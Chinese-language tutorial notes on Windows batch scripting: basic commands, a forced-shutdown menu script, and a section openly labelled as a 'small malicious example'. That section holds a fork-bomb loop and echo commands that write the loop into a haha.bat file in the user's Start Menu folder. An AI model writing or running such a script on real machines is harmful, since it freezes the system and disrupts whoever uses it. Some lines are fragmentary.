批处理编写
如何创建批处理?
- 扩展名:.bat
- 方法:新建一个记事本,然后将扩展名改为.bat
- 特有命令(在批处理中才有意义)
- 批处理中的第一句话
- title 标题-------->给批处理加上一个标题默认是cmd.exe
- echo.------------>空一行
- ping -n 延迟的时间 127.0.0.1 >nul 2>null------>显示的结果是卡在那里
- nul 2>null------->不能执行时不会报错
@ echo off
color 0a
title xxx
d:
cd \
fsutil file createnew d:\sys.ini 40000
copy 启动路径
copy "%userprofile%"
- set /p a=请输入时间:
- a是咱们定义的变量,“请输入时间:”—>这是写给用户看的。
- /p--------->会暂停
菜单案例实现
@echo off
color 0a
title 菜单
:menu
cls
echo =============
echo 菜单
echo 1.定时关机
echo 2.取消关机
echo 3.退出
echo =============
set /p num=请输入选项:
if %num%==1 goto 1
if %num%==2 goto 2
if %num%==3 goto 3
:1
set /p time=请输入时间:
shutdown -f -s -t %time%
goto menu
:2
shutdown /a
goto menu
:3
exit
恶意小案例
1:
start
goto 1
copy %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu------>进入到开始菜单
echo a: >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
echo start >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
echo goto a >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
补充
- 查看已知文件的扩展名-----》文件夹选项
- 更改颜色 color 0a-------->第一个数字是背景色,第二个数字是文字颜色
|